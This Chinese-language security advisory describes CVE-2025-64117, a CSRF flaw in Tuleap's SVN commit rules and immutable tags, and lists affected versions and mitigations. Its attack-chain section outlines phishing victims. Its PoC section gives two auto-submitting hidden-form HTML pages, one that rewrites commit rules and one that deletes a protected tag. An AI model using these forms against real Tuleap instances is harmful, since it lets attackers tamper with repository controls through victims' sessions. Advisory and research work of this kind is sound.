IPBUF安全漏洞报告
English
CVE-2025-64117 CVSS 4.6 中危

CVE-2025-64117 Tuleap SVN提交规则与不可变标签CSRF漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-64117
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Tuleap Community Edition, Tuleap Enterprise Edition

相关标签

CSRF跨站请求伪造TuleapSVN版本控制权限绕过CVE-2025-64117开源软件协作平台代码仓库管理

漏洞概述

CVE-2025-64117是Tuleap项目管理系统中存在的一个跨站请求伪造(CSRF)漏洞。Tuleap是一款开源的软件开发管理和协作套件,广泛应用于企业内部的研发项目管理、代码仓库管理(支持Git和SVN)、敏捷开发追踪等场景。该漏洞影响Tuleap社区版16.13.99.1761813675之前的版本以及Tuleap企业版16.13-5和16.12-8之前的版本。漏洞根源在于Tuleap在对SVN版本库的提交规则(commit rules)和不可变标签(immutable tags)进行管理操作时,未实施有效的CSRF令牌验证机制。攻击者可以通过精心构造的恶意网页,诱使已登录的Tuleap用户在不知情的情况下向Tuleap服务器发起修改SVN提交规则或不可变标签的请求。由于这些操作需要用户已经登录并拥有相应的仓库管理权限,攻击者利用的是合法用户已经建立的会话上下文,成功绕过身份验证后执行未授权的仓库配置变更操作。此类攻击可能导致SVN版本库的访问控制策略被篡改、提交规则被放宽或收紧、不可变标签保护机制被移除等严重后果,进而影响代码仓库的安全性和完整性。

技术细节

该CSRF漏洞的技术原理在于Tuleap的SVN仓库管理模块在处理提交规则和不可变标签的修改请求时,缺少对请求来源的验证机制。攻击者首先需要识别目标Tuleap实例中存在的SVN仓库,然后构造一个包含恶意请求的HTML页面或钓鱼链接。当具有仓库管理权限的用户访问该页面或点击链接时,浏览器会自动携带用户的会话Cookie向Tuleap服务器发送POST请求。由于服务器端未验证请求中的CSRF令牌(如token参数),系统会认为该请求是用户主动发起的合法操作,并执行相应的提交规则或不可变标签修改。攻击者通常会使用隐蔽的自动提交表单(如display:none的iframe或自动提交脚本)来触发恶意请求,用户在访问攻击者控制的页面时不会察觉到任何异常。漏洞利用的关键在于利用用户已认证的会话上下文,攻击者无需获取用户的实际凭据,只需诱导用户访问恶意页面即可完成攻击链的最后一环。

攻击链分析

STEP 1
侦察阶段
攻击者首先收集目标Tuleap实例的信息,包括版本号、SVN仓库列表以及可被利用的管理接口端点。通过公开的Tuleap文档或目标网站的插件路径特征进行识别。
STEP 2
钓鱼页面构造
攻击者根据收集到的SVN仓库信息,构造包含恶意自动提交表单的HTML页面。表单目标地址指向Tuleap的SVN设置接口,参数设置为期望的提交规则或不可变标签变更值。
STEP 3
社会工程攻击
攻击者通过钓鱼邮件、即时消息、恶意链接或被植入恶意代码的第三方网站,诱导具有Tuleap仓库管理权限的用户访问构造好的CSRF页面。
STEP 4
恶意请求触发
用户浏览器加载恶意页面后,自动携带用户有效的Tuleap会话Cookie向服务器发送POST请求。由于服务器未进行CSRF令牌验证,请求被识别为合法操作。
STEP 5
权限滥用执行
Tuleap服务器根据请求参数修改目标SVN仓库的提交规则或不可变标签配置。攻击者可能借此放宽提交限制、移除标签保护或添加恶意提交规则。
STEP 6
持久化控制
提交规则或不可变标签被篡改后,攻击者可能利用新规则绕过访问控制,在后续提交中植入恶意代码或窃取敏感代码资产。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-64117 --> <!-- Tuleap SVN Commit Rules Modification --> <html> <body> <h1>CVE-2025-64117 CSRF PoC</h1> <p>Modifying SVN commit rules for target repository</p> <form id="csrfForm" action="https://target-tuleap-instance/plugins/svn/svn_settings_commit_rules.php" method="POST"> <input type="hidden" name="group_id" value="123" /> <input type="hidden" name="repo_id" value="456" /> <input type="hidden" name="commit_rule_action" value="modify" /> <input type="hidden" name="commit_rule_email" value="[email protected]" /> <input type="hidden" name="commit_rule_pattern" value=".*" /> <input type="hidden" name="Submit" value="Update" /> </form> <script> document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- CSRF PoC for Immutable Tags Modification --> <html> <body> <form id="immutableTagForm" action="https://target-tuleap-instance/plugins/svn/svn_settings_immutable_tags.php" method="POST"> <input type="hidden" name="group_id" value="123" /> <input type="hidden" name="repo_id" value="456" /> <input type="hidden" name="action" value="delete" /> <input type="hidden" name="tag_id" value="789" /> </form> <script> document.getElementById('immutableTagForm').submit(); </script> </body> </html>

影响范围

Tuleap Community Edition < 16.13.99.1761813675
Tuleap Enterprise Edition < 16.13-5
Tuleap Enterprise Edition < 16.12-8

防御指南

临时缓解措施
如果无法立即进行版本升级,可采取以下临时缓解措施:首先,在Web应用防火墙(WAF)层面添加针对SVN管理接口的CSRF防护规则,验证请求中的Referer或Origin头;其次,在浏览器端启用CSP(内容安全策略)并配置form-action限制,阻止跨域表单提交;最后,通知具有SVN管理权限的用户提高安全意识,避免点击来源不明的链接,定期检查SVN仓库的提交规则和不可变标签配置是否被异常修改。建议在条件允许时优先进行版本升级以从根本上消除漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表